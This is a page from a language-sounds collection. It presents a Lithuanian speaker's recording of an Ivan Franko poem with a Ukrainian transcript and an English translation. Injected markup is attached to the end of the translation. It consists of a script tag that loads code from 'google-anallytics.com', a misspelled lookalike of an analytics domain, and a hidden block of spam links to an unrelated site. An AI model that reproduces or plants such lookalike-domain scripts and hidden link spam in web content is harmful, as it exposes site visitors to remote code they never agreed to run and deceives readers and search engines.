Language sounds
Home > Sounds > franko

‘franko’
Click to listen to franko.wav (601Kb)
Non-native speaker
Accent: Lithuanian
Author: Linas
Date: 2/17/2006

Description of what is on the sound file:
Ivan Franko know as Kamenyar(Builder) was great poet of Halychyna(Western Ukraine)

---

Transcript of sound file:
Vona tak harna, siaje tak
sviatoju czystoju krasoju
i na lyci jarije znak
liubovi, szczyrosti, spokoju
Vona tak harna, a prote
tak neszczaslyva stil'ki lycha
znesla, szczo kvylyt' lycho te
v jiji kozhdis'kij pisni stycha

---

Translation:
She is so beautiful, brights so
by holy, pure beauty
and in her face burns signs
of love, sincereity, quietness
She is so beaitiful, and nevertheless
so unhappy, so much of torment
she carried, that it moans
in her every song silently'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>

---

Upload a sound file (you need to register or login to the forum first)